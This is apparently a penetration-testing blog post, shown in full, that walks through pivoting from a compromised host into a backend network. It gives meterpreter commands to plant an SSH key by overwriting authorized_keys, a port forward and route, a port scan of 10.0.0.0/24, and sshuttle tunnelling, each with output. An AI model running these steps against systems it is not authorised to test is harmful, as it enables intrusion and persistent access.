So you’re broke and you don’t own msfpro, cobalt strike or any of the other expensive tools that allow vpn pivoting. (FYI: Paying for tools like cobalt strike helps Raphael Mudge continue to keep developing free tools like Armitage)

So now that that’s out of the way lets explain the scenario.

You’ve managed to get a meterpreter session on a box via a webshell (possibly a network firewall or something else with an interface on the internal network you’re trying to own). But you hate having to use meterpreter’s portfwd and route options. They’re just too painful.

The whole of this article requires ssh access to the initial pivot point. Don’t worry if you can’t see the ssh service from your attacking box, we can bypass that using portfwd.

Here is a rough idea of how this network is set up.
network

The first thing to do is upload your public key to the victim box on 192.168.1.18 via your meterpreter session(you have created one haven’t you??? ssh-keygen)

FYI copying your key like this will blat out the pre-existing authorised keys, this was just a quick way i could demo it. I’m also doing this as root user, however this is NOT needed.

1
2
3
4
meterpreter > upload .ssh/id_rsa.pub
[*] uploading  : .ssh/id_rsa.pub -> .ssh/id_rsa.pub
[*] uploaded   : .ssh/id_rsa.pub -> .ssh/id_rsa.pub
meterpreter > mv .ssh/id_rsa.pub .ssh/authorized_keys

Now you have your ssh public key on the box you’ll need to portfwd ssh on the local box back to

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
meterpreter > portfwd add -l 2222 -p 22 -r 127.0.0.1
[*] Local TCP relay created: 0.0.0.0:2222 <-> 127.0.0.1:22
meterpreter > ifconfig
Interface  4
============
Name         : eth0
Hardware MAC : 00:0c:29:fe:d2:e7
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 192.168.1.18
IPv4 Netmask : 255.255.255.0
Interface  5
============
Name         : eth1
Hardware MAC : 00:0c:29:fe:d2:f1
MTU          : 1500
Flags        : UP BROADCAST RUNNING MULTICAST
IPv4 Address : 10.0.0.4
IPv4 Netmask : 255.255.255.0
meterpreter > background
[*] Backgrounding session 4...

Bingo, we know it has a backend network on the range 10.0.0.0/24. We need to scan the back end network to see what devices there are:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf> route add 10.0.0.0 255.255.255.0 4
[*] Route added
msf> route print
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.0.0.0           255.255.255.0      Session 4
msf> use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set RHOSTS 10.0.0.1/24
RHOSTS => 10.0.0.1/24
msf auxiliary(tcp) > set PORTS 21,22,23,25,50,80,135,139,199,443,445,1556,2301,2381,3181,3389
PORTS => 21,22,23,25,50,80,135,139,199,443,445,1556,2301,2381,3181,3389
msf auxiliary(tcp) > run

So now we have a target on the backend network, in this case it’s 10.0.0.1.

Now you need to download the main part of this article….. sshuttle!
Sshuttle is a clever set of python scripts that allows you to route TCP and UDP traffic over a SSH session. You don’t need to use a root account on your SSH server and you also don’t need to manually set up each forwarded port like you would with metasploit.

It’s extremely simple to use and it’ll allow you to scan backend servers using nmap, nessus and plenty more! Woohoo, poor mans VPNPivot (over SSH) at last!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~# git clone git://github.com/apenwarr/sshuttle
Cloning into 'sshuttle'...
remote: Counting objects: 945, done.
remote: Compressing objects: 100% (472/472), done.
remote: Total 945 (delta 496), reused 855 (delta 426)
Receiving objects: 100% (945/945), 556.89 KiB | 381 KiB/s, done.
Resolving deltas: 100% (496/496), done.
root@kali:~# cd sshuttle/
root@kali:~/sshuttle# ./do all
Removing previously built files...
do  all
do    Documentation/all
do      sshuttle.8
do        md-to-man
do          md2man.py exists.
do        sshuttle.md.tmp
do          ../version/vars
do            gitvars
do              gitvars.pre exists.
do              prodname exists.
do            prodname exists.
do          sshuttle.md exists.
do    version/all
do      vars exists.
do      _version.py
do        vars exists.
What now?
- Run sshuttle: ./sshuttle --dns -r HOSTNAME 0/0
- Read the README: less README.md
- Read the man page: less Documentation/sshuttle.md
Removing stamp files...
root@kali:~/sshuttle#

So now you’ve got shuttle installed and working all you need to do is connect to your local port 127.0.0.1:2222 which will then route through the meterpreter session onto the backend network. I think sshuttle only works for TCP and UDP so no arp-scanning or ICMP sweeps, please let me know if you know otherwise.

We need to check the port forward is running locally first:

1
2
root@kali:~/sshuttle# netstat -antp | grep 2222
tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      9816/ruby

Now run shuttle connecting to yourself on 2222:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~/sshuttle# ./sshuttle -vr 127.0.0.1:2222 10.0.0.0/24
Starting sshuttle proxy.
Listening on ('127.0.0.1', 12300).
firewall manager ready.
c : connecting to server...
 s: latency control setting = True
 s: available routes:
 s:   10.0.0.0/24
 s:   192.168.1.0/24
c : connected.
Connected.
firewall manager: starting transproxy.
>> iptables -t nat -N sshuttle-12300
>> iptables -t nat -F sshuttle-12300
>> iptables -t nat -I OUTPUT 1 -j sshuttle-12300
>> iptables -t nat -I PREROUTING 1 -j sshuttle-12300
>> iptables -t nat -A sshuttle-12300 -j REDIRECT --dest 10.0.0.0/24 -p tcp --to-ports 12300 -m ttl ! --ttl 42
>> iptables -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.0/8 -p tcp
c : Accept: 192.168.1.14:51483 -> 10.0.0.1:80.
c : Accept: 192.168.1.14:52351 -> 10.0.0.4:80.
c : Accept: 192.168.1.14:52352 -> 10.0.0.4:80.
c : Accept: 192.168.1.14:52353 -> 10.0.0.4:80.

Boom, you should now be able to root to devices on the internal network:
Screen Shot 2013-10-29 at 22.57.47Screen Shot 2013-10-29 at 22.58.00

To exit shuttle just simply press Ctrl-C

Any advice please just comment. Does anyone know a quicker way to upload my public ssh key via meterpreter without wiping the authorized_keys?

Final note: this example routed the entire SSH session over a meterpreter portfwd, this would work much much faster if you had direct access to the SSH service that you wanted to pivot through.

3 Responses to Poor mans VPN Pivot at last!

Leave a Reply